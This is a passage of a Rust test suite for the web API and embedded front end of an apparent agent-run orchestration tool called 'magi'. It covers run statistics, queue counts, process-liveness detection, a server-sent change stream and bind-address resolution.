8987 PathBuf::from("/repo"),
8988 Source::Human,
8989 );
8990 held.hold_machine(Some("out of attempts".to_owned()));
8991 q.put(&mut held).expect("put held");
8992
8993 let queue = f.get("/api/stats").await.json()["queue"].clone();
8994 assert_eq!(queue["queued"], 1);
8995 assert_eq!(queue["held"], 1);
8996 assert_eq!(queue["running"], 0);
8997 assert_eq!(queue["done"], 0);
8998 assert_eq!(queue["failed"], 0);
8999 assert_eq!(queue["blocked"], 0);
9000 }
9001
9002 #[tokio::test]
9003 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
9004 let f = Fixture::start().await;
9005 let stats = f.get("/api/stats").await;
9006 assert_eq!(stats.status, 200);
9007 assert_eq!(stats.json()["totals"]["runs"], 0);
9008 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
9009 assert_eq!(stats.json()["runs_unreadable"], 0);
9010 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
9011 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
9012 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
9013 assert_eq!(stats.json()["repo"], Value::Null);
9014 }
9015
9016 #[tokio::test]
9017 async fn stats_lists_every_repository_with_runs_recorded() {
9018 let f = Fixture::start().await;
9019 write_run_repo(
9020 &f.runs(),
9021 "20260902-140501-a",
9022 RunStatus::Merged,
9023 "/repos/a",
9024 );
9025 write_run_repo(
9026 &f.runs(),
9027 "20260902-140502-b",
9028 RunStatus::Merged,
9029 "/repos/a",
9030 );
9031 write_run_repo(
9032 &f.runs(),
9033 "20260902-140503-c",
9034 RunStatus::Blocked,
9035 "/repos/b",
9036 );
9037
9038 let stats = f.get("/api/stats").await;
9039 assert_eq!(stats.status, 200);
9040 assert_eq!(stats.json()["totals"]["runs"], 3);
9042 assert_eq!(stats.json()["repo"], Value::Null);
9043
9044 let repos = stats.json()["repos"].clone();
9045 let repos = repos.as_array().unwrap();
9046 assert_eq!(repos.len(), 2);
9047 assert_eq!(repos[0]["repo"], "/repos/a");
9049 assert_eq!(repos[0]["name"], "a");
9050 assert_eq!(repos[0]["runs"], 2);
9051 assert_eq!(repos[1]["repo"], "/repos/b");
9052 assert_eq!(repos[1]["runs"], 1);
9053 }
9054
9055 #[tokio::test]
9056 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
9057 let f = Fixture::start().await;
9058 write_run_repo(
9059 &f.runs(),
9060 "20260902-140501-a",
9061 RunStatus::Merged,
9062 "/repos/a",
9063 );
9064 write_run_repo(
9065 &f.runs(),
9066 "20260902-140502-b",
9067 RunStatus::Blocked,
9068 "/repos/b",
9069 );
9070
9071 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
9072 assert_eq!(stats.status, 200);
9073 assert_eq!(stats.json()["totals"]["runs"], 1);
9074 assert_eq!(stats.json()["totals"]["merged"], 1);
9075 assert_eq!(stats.json()["repo"], "/repos/a");
9076 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
9079 assert_eq!(stats.json()["runs_unreadable"], 0);
9082 }
9083
9084 #[tokio::test]
9085 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
9086 let f = Fixture::start().await;
9087 write_run_repo(
9088 &f.runs(),
9089 "20260902-140501-a",
9090 RunStatus::Merged,
9091 "/repos/a",
9092 );
9093
9094 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
9095 assert_eq!(stats.status, 404);
9096 }
9097
9098 #[tokio::test]
9099 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
9100 let f = Fixture::start().await;
9101 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
9102
9103 let summary = f.get("/api/runs").await.json();
9104 let row = &summary[0];
9105 assert_eq!(row["short"], "a1b2");
9106 assert_eq!(row["status"], "ready");
9107 assert_eq!(row["done"], true);
9108 assert_eq!(row["title"], "Add a web UI");
9109 assert_eq!(row["repo_name"], "magi");
9110 assert_eq!(row["judges"], 3);
9111 assert_eq!(row["winner"], Value::Null);
9112 assert_eq!(row["reviews"], 0);
9113
9114 let detail = f.get("/api/runs/a1b2").await;
9117 assert_eq!(detail.status, 200);
9118 assert_eq!(detail.json()["base_branch"], "main");
9119 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
9120 }
9121
9122 #[tokio::test]
9130 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
9131 let f = Fixture::start().await;
9132
9133 let mut none_run = RunState::new(
9134 PathBuf::from("/repo/magi"),
9135 "main".to_owned(),
9136 "0123456789abcdef".to_owned(),
9137 "Add a web UI".to_owned(),
9138 Config::default(),
9139 );
9140 none_run.id = "20260902-140503-none".to_owned();
9141 none_run.status = RunStatus::Ready;
9142 none_run.merge = Some(crate::run::MergeOutcome {
9143 mode: crate::config::MergeMode::None,
9144 ok: true,
9145 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
9146 empty: false,
9147 });
9148 write_state(&f.runs(), &none_run);
9149
9150 let mut pr_run = RunState::new(
9151 PathBuf::from("/repo/magi"),
9152 "main".to_owned(),
9153 "0123456789abcdef".to_owned(),
9154 "Add a web UI".to_owned(),
9155 Config::default(),
9156 );
9157 pr_run.id = "20260902-140504-prcl".to_owned();
9158 pr_run.status = RunStatus::Ready;
9159 pr_run.merge = Some(crate::run::MergeOutcome {
9160 mode: crate::config::MergeMode::Pr,
9161 ok: false,
9162 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
9163 empty: false,
9164 });
9165 write_state(&f.runs(), &pr_run);
9166
9167 let summary = f.get("/api/runs").await.json();
9168 let rows: std::collections::HashMap<&str, &Value> = summary
9169 .as_array()
9170 .expect("an array")
9171 .iter()
9172 .map(|r| (r["id"].as_str().expect("an id"), r))
9173 .collect();
9174 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
9175 assert_eq!(
9176 rows[none_run.id.as_str()]["unmerged_by_design"],
9177 true,
9178 "a mode-none Ready must be flagged in the list"
9179 );
9180 assert_eq!(
9181 rows[pr_run.id.as_str()]["unmerged_by_design"],
9182 false,
9183 "a Ready reached by a closed pull request is a different case"
9184 );
9185
9186 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
9187 assert_eq!(none_detail["status"], "ready");
9188 assert_eq!(none_detail["unmerged_by_design"], true);
9189
9190 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
9191 assert_eq!(pr_detail["unmerged_by_design"], false);
9192 }
9193
9194 #[tokio::test]
9199 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
9200 let f = Fixture::start().await;
9201 let id = "20260902-140502-bbbb";
9205 let mut state = RunState::new(
9206 PathBuf::from("/repo/magi"),
9207 "main".to_owned(),
9208 "0123456789abcdef".to_owned(),
9209 "Add a web UI".to_owned(),
9210 Config::default(),
9211 );
9212 state.id = id.to_owned();
9213 state.status = RunStatus::Judging;
9214 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
9215 let dir = f.runs().join(id);
9216 std::fs::create_dir_all(&dir).expect("run dir");
9217 std::fs::write(
9218 dir.join("run.json"),
9219 serde_json::to_string_pretty(&state).expect("serialize run"),
9220 )
9221 .expect("write run.json");
9222
9223 let cold = f.get(&format!("/api/runs/{id}")).await.json();
9229 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
9230 assert_eq!(cold["live"], "unknown", "{cold}");
9231
9232 write_daemon(f.home.path(), Timestamp::now());
9235 let warm = f.get(&format!("/api/runs/{id}")).await.json();
9236 assert_eq!(warm["live"], "live", "{warm}");
9237 }
9238
9239 #[tokio::test]
9242 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
9243 let f = Fixture::start().await;
9244 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
9245 let mut state = RunState::new(
9246 PathBuf::from("/repo/magi"),
9247 "main".to_owned(),
9248 "0123456789abcdef".to_owned(),
9249 "Add a web UI".to_owned(),
9250 Config::default(),
9251 );
9252 state.id = id.to_owned();
9253 state.origin = origin;
9254 let mut value = serde_json::to_value(&state).expect("serialize run");
9255 if let Some(schema) = schema {
9256 value["schema"] = serde_json::json!(schema);
9257 value.as_object_mut().unwrap().remove("origin");
9258 }
9259 let dir = f.runs().join(id);
9260 std::fs::create_dir_all(&dir).expect("run dir");
9261 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
9262 };
9263 write(
9264 "20260930-092817-ec34",
9265 Some(crate::run::Origin::from_agent_env(
9266 Some(("4a7b".to_owned(), "chat".to_owned())),
9267 None,
9268 )),
9269 None,
9270 );
9271 write("20260930-092817-0ld1", None, Some(12));
9272
9273 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
9274 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
9275 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
9276
9277 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
9278 assert_eq!(
9279 old["origin_label"], "origin unknown (started before origins were recorded)",
9280 "{old}"
9281 );
9282 assert!(old["origin"].is_null(), "{old}");
9283
9284 let list = f.get("/api/runs").await.json();
9285 let labels: Vec<_> = list
9286 .as_array()
9287 .unwrap()
9288 .iter()
9289 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
9290 .collect();
9291 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
9292 }
9293
9294 #[tokio::test]
9301 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
9302 let f = Fixture::start().await;
9303 let id = "20260922-090000-cccc";
9304 let mut state = RunState::new(
9305 PathBuf::from("/repo/magi"),
9306 "main".to_owned(),
9307 "0123456789abcdef".to_owned(),
9308 "Review only".to_owned(),
9309 Config::default(),
9310 );
9311 state.id = id.to_owned();
9312 state.status = RunStatus::Reviewing;
9313 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
9314 state.driver_pid = Some(std::process::id());
9320 state.driver_started_at = Some(
9321 crate::proc::process_started_at(std::process::id())
9322 .expect("this test process's own start time must be queryable"),
9323 );
9324 let dir = f.runs().join(id);
9325 std::fs::create_dir_all(&dir).expect("run dir");
9326 std::fs::write(
9327 dir.join("run.json"),
9328 serde_json::to_string_pretty(&state).expect("serialize run"),
9329 )
9330 .expect("write run.json");
9331
9332 let detail = f.get(&format!("/api/runs/{id}")).await.json();
9333 assert_eq!(detail["live"], "live", "{detail}");
9334 }
9335
9336 #[tokio::test]
9342 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
9343 let f = Fixture::start().await;
9344 let id = "20260922-090100-dddd";
9345 let mut state = RunState::new(
9346 PathBuf::from("/repo/magi"),
9347 "main".to_owned(),
9348 "0123456789abcdef".to_owned(),
9349 "Review only".to_owned(),
9350 Config::default(),
9351 );
9352 state.id = id.to_owned();
9353 state.status = RunStatus::Reviewing;
9354 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
9355 state.driver_pid = Some(std::process::id());
9360 state.driver_started_at = Some("not-this-processes-real-start-time".to_owned());
9361 let dir = f.runs().join(id);
9362 std::fs::create_dir_all(&dir).expect("run dir");
9363 std::fs::write(
9364 dir.join("run.json"),
9365 serde_json::to_string_pretty(&state).expect("serialize run"),
9366 )
9367 .expect("write run.json");
9368
9369 let detail = f.get(&format!("/api/runs/{id}")).await.json();
9370 assert_eq!(detail["live"], "dead", "{detail}");
9371 }
9372
9373 #[test]
9377 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
9378 let mk = |id: &str, pid: Option<u32>| {
9379 let mut s = RunState::new(
9380 PathBuf::from("/repo/magi"),
9381 "main".to_owned(),
9382 "0123456789abcdef".to_owned(),
9383 "Add a web UI".to_owned(),
9384 Config::default(),
9385 );
9386 s.id = id.to_owned();
9387 s.driver_pid = pid;
9388 s.driver_started_at = Some("t0".to_owned());
9389 s
9390 };
9391 let states = vec![
9392 mk("20260902-140502-aaaa", Some(77)),
9393 mk("20260902-140502-bbbb", Some(77)),
9394 mk("20260902-140502-cccc", Some(77)),
9395 mk("20260902-140502-dddd", None),
9396 ];
9397 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
9398 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
9399 let sup: HashMap<String, String> = [(
9400 "20260902-140502-aaaa".to_owned(),
9401 "20260902-140502-cccc".to_owned(),
9402 )]
9403 .into();
9404
9405 let status_calls = std::cell::Cell::new(0);
9406 let identity_calls = std::cell::Cell::new(0);
9407 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
9408 |_| {
9409 status_calls.set(status_calls.get() + 1);
9410 Some(true)
9411 },
9412 |_| {
9413 identity_calls.set(identity_calls.get() + 1);
9414 Some("t0".to_owned())
9415 },
9416 ));
9417 let rows = summarize(
9418 states,
9419 &open,
9420 &claimed,
9421 &sup,
9422 |p| probe.borrow_mut().status(p),
9423 |p| probe.borrow_mut().started_at(p),
9424 );
9425
9426 assert_eq!(status_calls.get(), 1, "one pid, one status query");
9427 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
9428 assert_eq!(rows.len(), 4);
9429 assert!(!rows[0].waiting && rows[1].waiting);
9430 assert_eq!(rows[0].live, crate::run::Liveness::Live);
9431 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
9432 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
9433 assert_eq!(rows[1].superseded_by, None);
9434 }
9435
9436 #[test]
9437 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
9438 let mut state = RunState::new(
9439 PathBuf::from("/repo/magi"),
9440 "main".to_owned(),
9441 "0123456789abcdef".to_owned(),
9442 "Review only".to_owned(),
9443 Config::default(),
9444 );
9445 state.id = "20260922-090200-dead".to_owned();
9446 state.status = RunStatus::Reviewing;
9447 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
9448 .expect("serialize list row");
9449 assert_eq!(row["status"], "reviewing");
9450 assert_eq!(row["live"], "dead", "{row}");
9451 assert!(!row["done"].as_bool().unwrap());
9452 }
9453
9454 #[tokio::test]
9455 async fn the_run_list_is_newest_first_and_honours_a_limit() {
9456 let f = Fixture::start().await;
9457 for id in [
9458 "20260902-140501-aaaa",
9459 "20260902-140502-bbbb",
9460 "20260902-140503-cccc",
9461 ] {
9462 write_run(&f.runs(), id, RunStatus::Merged);
9463 }
9464
9465 let all = f.get("/api/runs").await.json();
9466 let capped = f.get("/api/runs?limit=2").await.json();
9467
9468 assert_eq!(all[0]["id"], "20260902-140503-cccc");
9469 assert_eq!(all.as_array().map(Vec::len), Some(3));
9470 assert_eq!(capped.as_array().map(Vec::len), Some(2));
9471 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
9472 }
9473
9474 #[tokio::test]
9475 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
9476 let f = Fixture::start().await;
9477 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
9478
9479 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
9480
9481 assert_eq!(res.status, 200);
9482 assert!(
9483 res.headers
9484 .contains("content-type: text/plain; charset=utf-8"),
9485 "a browser must render it, not download it: {}",
9486 res.headers
9487 );
9488 assert!(
9492 res.body.contains("20260902-140501-a1b2"),
9493 "the report is about the run that was asked for: {}",
9494 res.body
9495 );
9496 }
9497
9498 #[tokio::test]
9499 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
9500 let f = Fixture::start().await;
9501
9502 let html = f.get("/").await;
9503 let css = f.get("/app.css").await;
9504 let js = f.get("/app.js").await;
9505
9506 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
9507 assert!(
9508 html.headers
9509 .contains("content-type: text/html; charset=utf-8")
9510 );
9511 assert!(css.headers.contains("content-type: text/css"));
9512 assert!(js.headers.contains("content-type: text/javascript"));
9513 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
9514 }
9515
9516 #[test]
9517 fn live_runs_are_never_hidden_or_folded_as_superseded() {
9518 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
9519 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
9520 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
9521 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
9522 }
9523
9524 #[test]
9525 fn review_rounds_label_a_distinct_verified_head() {
9526 assert!(APP_JS.contains("round.verified_head"));
9527 assert!(APP_JS.contains("verified HEAD"));
9528 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
9529 }
9530
9531 #[test]
9532 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
9533 assert!(APP_JS.contains("blocked: { glyph:"));
9537 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
9538
9539 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
9543 assert!(
9544 APP_JS.contains(
9545 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
9546 ),
9547 "the note line must name what a blocked task is waiting on, not just that it is blocked"
9548 );
9549 assert!(APP_JS.contains("if (status === \"blocked\") {"));
9553
9554 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
9558 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
9559 assert!(
9560 APP_JS.contains("location.hash = \"#/questions\";"),
9561 "a question node must jump to the Questions screen, not pretend to be a task"
9562 );
9563
9564 assert!(APP_JS.contains("Resolved questions"));
9567 assert!(APP_JS.contains("r.answersList.append("));
9568 assert!(APP_CSS.contains(".task-answers"));
9569 {
9570 let start = APP_JS
9571 .find("function updateTalkTaskRow")
9572 .expect("updateTalkTaskRow");
9573 let body = &APP_JS[start..start + 900];
9574 assert!(body.contains("task.runs[") || body.contains("runs[runs.length - 1]"));
9575 assert!(body.contains("setAttr(r.link, \"href\""));
9576 assert!(body.contains(
9577 "latest ? `#/runs/${latest}` : `#/queue/${encodeURIComponent(task.id)}`"
9578 ));
9579 assert!(
9580 !body.contains(": \"#/queue\""),
9581 "a task with no run must link to its own queue card, not the bare queue"
9582 );
9583 assert!(APP_CSS.contains(".talk-task-link"));
9584 }
9585 }
9586
9587 #[test]
9588 fn a_task_notification_links_to_its_own_card_not_the_bare_backlog() {
9589 assert!(
9594 APP_JS.contains(
9595 "el(\"a\", { href: `#/queue/${encodeURIComponent(link.id)}`, text: `Task ${shortId(link.id)}` })"
9596 ),
9597 "a task notice's link must carry the task id into the hash, not just name the Backlog screen"
9598 );
9599 assert!(
9600 !APP_JS.contains("el(\"a\", { href: \"#/queue\", text: `Task ${shortId(link.id)}` })"),
9601 "regression: the task link must not go back to naming the bare Backlog route"
9602 );
9603
9604 assert!(
9607 APP_JS.contains(
9608 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
9609 ),
9610 "`#/queue/<id>` must parse into a route carrying that id"
9611 );
9612
9613 assert!(APP_JS.contains("state.queueFocus = route.id;"));
9617 assert!(APP_JS.contains("function consumeQueueFocus()"));
9618 assert!(APP_JS.contains("jumpToTask(id)"));
9619 }
9620
9621 #[test]
9622 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
9623 assert!(
9632 APP_JS.contains(
9633 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
9634 ),
9635 "the search-clearing branch must run before state.queueFocus is cleared, or the \
9636 recursive renderQueue() call has nothing left to jump to"
9637 );
9638 assert!(
9639 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
9640 "state.queueFocus must be cleared only once the jump has landed, so a card that \
9641 arrives later still gets it"
9642 );
9643 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
9644 assert!(APP_JS.contains("is not in the current Backlog."));
9645 assert!(APP_JS.contains("li.card[data-task-id=\""));
9646 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
9647 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
9648 assert!(APP_CSS.contains(".card-permalink"));
9649 assert!(APP_CSS.contains(".queue-focus-status"));
9650 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
9651 }
9652
9653 #[test]
9654 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
9655 assert!(
9663 APP_JS.contains(
9664 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
9665 ),
9666 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
9667 );
9668 }
9669
9670 #[test]
9671 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
9672 assert!(
9673 APP_JS.contains("round.verified_head !== round.head"),
9674 "a round that verified an earlier commit must be visibly distinct from one that \
9675 verified the head reviewers are looking at now"
9676 );
9677 assert!(
9678 APP_JS.contains("round.verified_at"),
9679 "when a check ran must be on the wire, not just which commit"
9680 );
9681 assert!(
9682 APP_JS.contains("resource_blocked"),
9683 "a command magi never got to run (shared build cache contention) must not render \
9684 the same as a command that ran and failed"
9685 );
9686 }
9687
9688 #[test]
9689 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
9690 assert!(
9698 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
9699 "every KPI tile built through statusTile() must route its click through \
9700 openRunsFiltered, the single place that sets the Runs filter"
9701 );
9702 for (label, status) in [
9703 ("Merged", "merged"),
9704 ("Ready", "ready"),
9705 ("Blocked", "blocked"),
9706 ("Stalled", "stalled"),
9707 ] {
9708 let call = format!("statusTile(\"{label}\", t.{status}, ");
9709 assert!(
9710 APP_JS.contains(&call),
9711 "expected the {label} KPI tile built via {call}..."
9712 );
9713 assert!(
9714 APP_JS.contains(&format!("status === \"{status}\"")),
9715 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
9716 compare a run against, not one invented only for the stats tile"
9717 );
9718 }
9719 assert!(
9720 APP_JS.contains("function openRunsFiltered(status)"),
9721 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
9722 );
9723 assert!(
9724 APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
9725 "matchesFilter must gate on the exact status a KPI tile named"
9726 );
9727 assert!(
9735 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
9736 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
9737 hashchange event that may never fire"
9738 );
9739 }
9740
9741 #[test]
9742 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
9743 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
9749 assert!(
9750 APP_JS.contains(
9751 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
9752 ),
9753 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
9754 guard for an incompatible tree section"
9755 );
9756 }
9757
9758 #[test]
9759 fn every_stats_queue_tile_names_a_real_queue_section() {
9760 assert!(
9766 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
9767 "every queue tile built through sectionTile() must route its click through \
9768 openQueueSectionFocus"
9769 );
9770 for key in ["upnext", "running", "done", "held", "blocked"] {
9771 assert!(
9772 APP_JS.contains(&format!("{{ key: \"{key}\",")),
9773 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
9774 );
9775 }
9776 for line in [
9780 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
9781 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
9782 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
9783 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
9784 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
9785 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
9786 ] {
9787 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
9788 }
9789 }
9790
9791 #[test]
9792 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
9793 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
9800 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
9801 assert!(APP_JS.contains("function revealQueueSection(details)"));
9802 assert!(
9803 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
9804 "renderQueue() must consume both focus channels on every pass"
9805 );
9806 assert!(
9807 APP_JS.contains(
9808 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
9809 ),
9810 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
9811 the recursive renderQueue() call has nothing left to reveal"
9812 );
9813 assert!(
9814 APP_JS.contains(
9815 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
9816 ),
9817 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
9818 );
9819 assert!(
9827 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
9828 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
9829 hashchange event that may never fire"
9830 );
9831 }
9832
9833 #[tokio::test]
9834 async fn the_change_stream_announces_the_current_revisions_on_connect() {
9835 let f = Fixture::start().await;
9836
9837 let mut socket = tokio::net::TcpStream::connect(f.addr)
9838 .await
9839 .expect("connect");
9840 socket
9841 .write_all(
9842 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
9843 )
9844 .await
9845 .expect("write request");
9846
9847 let mut seen = String::new();
9850 let mut buf = [0u8; 1024];
9851 while !seen.contains("event: change") {
9852 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
9853 .await
9854 .expect("the stream must speak within five seconds")
9855 .expect("read");
9856 assert!(read > 0, "the server closed the change stream: {seen}");
9857 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
9858 }
9859
9860 assert!(
9861 seen.to_lowercase()
9862 .contains("content-type: text/event-stream"),
9863 "the browser only reconnects automatically for a real SSE stream: {seen}"
9864 );
9865 let data = seen
9866 .lines()
9867 .find_map(|l| l.strip_prefix("data:"))
9868 .expect("a data line");
9869 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
9870 assert!(
9871 payload["queue_rev"].is_u64()
9872 && payload["runs_rev"].is_u64()
9873 && payload["questions_rev"].is_u64()
9874 && payload["talks_rev"].is_u64()
9875 && payload["notifications_rev"].is_u64()
9876 && payload["loop_rev"].is_u64(),
9877 "the client needs one revision per store to know what to refetch, \
9878 and `talks_rev` is the only notification a standing talk gets - a \
9879 phone whose radio slept through a turn learns about it here, as \
9880 does one whose operator started the loop from another device: \
9881 {payload}"
9882 );
9883
9884 let health = f.get("/api/health").await.json();
9891 for key in [
9892 "queue_rev",
9893 "runs_rev",
9894 "questions_rev",
9895 "talks_rev",
9896 "notifications_rev",
9897 "loop_rev",
9898 ] {
9899 assert!(
9900 health[key].is_u64(),
9901 "health is the change stream's fallback and is missing `{key}`: {health}"
9902 );
9903 }
9904 }
9905
9906 #[tokio::test]
9907 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
9908 let f = Fixture::start().await;
9909 let before = f.get("/api/health").await.json()["talks_rev"]
9910 .as_u64()
9911 .expect("talks_rev");
9912
9913 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
9914 std::thread::sleep(Duration::from_millis(10));
9915 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
9916 on_disk.turns.push(crate::talk::Turn {
9917 who: crate::talk::Who::Operator,
9918 body: "a new turn".to_owned(),
9919 at: Timestamp::now(),
9920 attachments: Vec::new(),
9921 });
9922 f.talks().put(&mut on_disk).expect("record a turn");
9923
9924 let after = f.get("/api/health").await.json()["talks_rev"]
9925 .as_u64()
9926 .expect("talks_rev");
9927 assert_ne!(
9928 before, after,
9929 "a phone must be able to notice a talk's reply without polling every store"
9930 );
9931 }
9932
9933 #[test]
9934 fn bind_reads_back_from_the_spelling_the_cli_prints() {
9935 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
9939 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
9940 }
9941 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
9942 assert!("everywhere".parse::<Bind>().is_err());
9943 }
9944
9945 #[test]
9946 fn an_explicit_bind_address_is_taken_verbatim() {
9947 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
9948
9949 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
9950
9951 assert_eq!(addr, asked);
9952 assert!(
9953 warning.is_none(),
9954 "an operator who named an address gets no lecture"
9955 );
9956 }
9957
9958 #[test]
9959 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
9960 let (addr, warning) = resolve_bind(&Bind::Auto);
9961
9962 match addr {
9969 IpAddr::V4(ip) if is_tailnet(&ip) => {
9970 assert!(warning.is_none(), "a tailnet address needs no warning");
9971 }
9972 other => {
9973 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
9974 let warning = warning.expect("a fallback has to explain itself");
9975 assert!(
9976 warning.contains("127.0.0.1") && warning.contains("local-only"),
9977 "the warning says what happened and what it costs: {warning}"
9978 );
9979 }
9980 }
9981 }
9982
9983 #[test]
9984 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
9985 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
9989 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
